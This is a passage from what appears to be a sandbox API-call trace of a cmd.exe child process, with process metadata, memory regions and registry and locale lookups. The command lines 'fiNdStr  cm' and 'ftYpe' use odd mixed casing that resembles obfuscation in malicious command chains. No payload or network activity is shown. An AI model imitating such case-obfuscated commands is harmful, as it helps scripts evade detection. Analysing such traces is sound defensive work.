	[0057.923] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0057.923] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\findstr.exe", lpCommandLine="fiNdStr  cm ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x22f270*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="fiNdStr  cm ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f220 | out: lpCommandLine="fiNdStr  cm ", lpProcessInformation=0x22f220*(hProcess=0x58, hThread=0x54, dwProcessId=0xb68, dwThreadId=0xb6c)) returned 1
	[0057.944] CloseHandle (hObject=0x54) returned 1
	[0057.944] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0057.945] GetEnvironmentStringsW () returned 0x1fa4d50*
	[0057.945] FreeEnvironmentStringsW (penv=0x1fa4d50) returned 1
	[0057.945] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f238 | out: lpAttributeList=0x22f238) 
	[0057.945] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0
	[0057.945] _close (_FileHandle=4) returned 0
	[0057.945] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0
	[0058.353] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x22f758 | out: lpExitCode=0x22f758*=0x0) returned 1
	[0058.353] CloseHandle (hObject=0x64) returned 1
	[0058.353] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0
	[0058.353] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x22f758 | out: lpExitCode=0x22f758*=0x0) returned 1
	[0058.353] CloseHandle (hObject=0x58) returned 1
	[0058.354] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.354] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0058.354] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.354] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0058.354] _get_osfhandle (_FileHandle=0) returned 0x3
	[0058.354] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0058.354] SetConsoleInputExeNameW () returned 0x1
	[0058.354] GetConsoleOutputCP () returned 0x1b5
	[0058.354] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.354] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.354] exit (_Code=0) 

Process:
	id = "9"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4b7c7000"
	os_pid = "0xb60"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xb58"
	cmd_line = "C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \""
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1186
	        start_va = 0x10000
	          end_va = 0x44fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1187
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1188
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1189
	        start_va = 0x110000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 1190
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1191
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1192
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1193
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1194
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1195
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1196
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1197
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1198
	        start_va = 0x2b0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 1199
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1200
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1201
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1202
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1203
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1204
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1205
	        start_va = 0x70000
	          end_va = 0xd6fff
	     entry_point = 0x70000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1206
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1207
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1208
	        start_va = 0x480000
	          end_va = 0x48ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000480000"
	        filename = ""

Region:
	              id = 1209
	        start_va = 0x490000
	          end_va = 0x58ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000490000"
	        filename = ""

Region:
	              id = 1210
	        start_va = 0x590000
	          end_va = 0x717fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000590000"
	        filename = ""

Region:
	              id = 1211
	        start_va = 0x720000
	          end_va = 0x8a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000720000"
	        filename = ""

Region:
	              id = 1212
	        start_va = 0x8b0000
	          end_va = 0x1caffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008b0000"
	        filename = ""

Region:
	              id = 1213
	        start_va = 0x1cb0000
	          end_va = 0x1ff2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001cb0000"
	        filename = ""

Region:
	              id = 1214
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1215
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1216
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1217
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1218
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1219
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1220
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1221
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1222
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1223
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1236
	        start_va = 0x2000000
	          end_va = 0x20fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002000000"
	        filename = ""

Region:
	              id = 1237
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1238
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1239
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")


Thread:
	id = 96
	os_tid = 0xb64

	[0058.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fab0 | out: lpSystemTimeAsFileTime=0x20fab0*(dwLowDateTime=0xe5148070, dwHighDateTime=0x1d475a6)) 
	[0058.004] GetCurrentProcessId () returned 0xb60
	[0058.004] GetCurrentThreadId () returned 0xb64
	[0058.004] GetTickCount () returned 0x1ea4e
	[0058.004] QueryPerformanceCounter (in: lpPerformanceCount=0x20fab8 | out: lpPerformanceCount=0x20fab8*=1813717800000) returned 1
	[0058.006] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0058.112] __set_app_type (_Type=0x1) 
	[0058.113] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0058.113] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0058.113] GetCurrentThreadId () returned 0xb64
	[0058.113] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb64) returned 0x38
	[0058.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.113] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0058.113] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.114] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0058.114] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fa48 | out: phkResult=0x20fa48*=0x0) returned 0x2
	[0058.114] VirtualQuery (in: lpAddress=0x20fa30, lpBuffer=0x20f9b0, dwLength=0x30 | out: lpBuffer=0x20f9b0*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.114] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20f9b0, dwLength=0x30 | out: lpBuffer=0x20f9b0*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.114] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20f9b0, dwLength=0x30 | out: lpBuffer=0x20f9b0*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.114] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20f9b0, dwLength=0x30 | out: lpBuffer=0x20f9b0*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.114] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20f9b0, dwLength=0x30 | out: lpBuffer=0x20f9b0*(BaseAddress=0x210000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0058.114] GetConsoleOutputCP () returned 0x1b5
	[0058.114] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.115] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0058.115] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.115] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0058.115] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.115] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0058.115] _get_osfhandle (_FileHandle=0) returned 0x3
	[0058.115] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0058.115] GetEnvironmentStringsW () returned 0x2fbed0*
	[0058.118] FreeEnvironmentStringsW (penv=0x2fbed0) returned 1
	[0058.118] GetEnvironmentStringsW () returned 0x2fbed0*
	[0058.120] FreeEnvironmentStringsW (penv=0x2fbed0) returned 1
	[0058.120] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e908 | out: phkResult=0x20e908*=0x40) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x0, lpData=0x20e920*=0x18, lpcbData=0x20e904*=0x1000) returned 0x2
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x1, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x0, lpData=0x20e920*=0x1, lpcbData=0x20e904*=0x1000) returned 0x2
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x0, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x40, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x40, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x0, lpData=0x20e920*=0x40, lpcbData=0x20e904*=0x1000) returned 0x2
	[0058.121] RegCloseKey (hKey=0x40) returned 0x0
	[0058.121] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e908 | out: phkResult=0x20e908*=0x40) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x0, lpData=0x20e920*=0x40, lpcbData=0x20e904*=0x1000) returned 0x2
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x1, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x0, lpData=0x20e920*=0x1, lpcbData=0x20e904*=0x1000) returned 0x2
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x0, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x9, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x4, lpData=0x20e920*=0x9, lpcbData=0x20e904*=0x4) returned 0x0
	[0058.121] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e900, lpData=0x20e920, lpcbData=0x20e904*=0x1000 | out: lpType=0x20e900*=0x0, lpData=0x20e920*=0x9, lpcbData=0x20e904*=0x1000) returned 0x2
	[0058.121] RegCloseKey (hKey=0x40) returned 0x0
	[0058.121] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4c
	[0058.121] srand (_Seed=0x5be14a4c) 
	[0058.121] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \""
	[0058.122] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \""
	[0058.122] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.122] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2033e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0058.122] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.122] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.122] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0058.122] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0058.122] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0058.122] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0058.122] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0058.122] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0058.122] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0058.122] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0058.122] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0058.122] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0058.122] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0058.123] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20f710 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.123] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x20f710, lpFilePart=0x20f6f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x20f6f0*="Desktop") returned 0x19
	[0058.123] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.123] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f420 | out: lpFindFileData=0x20f420) returned 0x20340a0
	[0058.123] FindClose (in: hFindFile=0x20340a0 | out: hFindFile=0x20340a0) returned 1
	[0058.123] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x20f420 | out: lpFindFileData=0x20f420) returned 0x20340a0
	[0058.123] FindClose (in: hFindFile=0x20340a0 | out: hFindFile=0x20340a0) returned 1
	[0058.123] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x20f420 | out: lpFindFileData=0x20f420) returned 0x20340a0
	[0058.123] FindClose (in: hFindFile=0x20340a0 | out: hFindFile=0x20340a0) returned 1
	[0058.123] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.124] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0058.124] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0058.124] GetEnvironmentStringsW () returned 0x2fbed0*
	[0058.124] FreeEnvironmentStringsW (penv=0x2fbed0) returned 1
	[0058.124] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.125] GetConsoleOutputCP () returned 0x1b5
	[0058.125] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.125] GetUserDefaultLCID () returned 0x409
	[0058.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0058.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20f820, cchData=128 | out: lpLCData="0") returned 2
	[0058.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20f820, cchData=128 | out: lpLCData="0") returned 2
	[0058.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20f820, cchData=128 | out: lpLCData="1") returned 2
	[0058.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0058.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0058.126] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0058.126] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0058.127] GetConsoleTitleW (in: lpConsoleTitle=0x2034110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
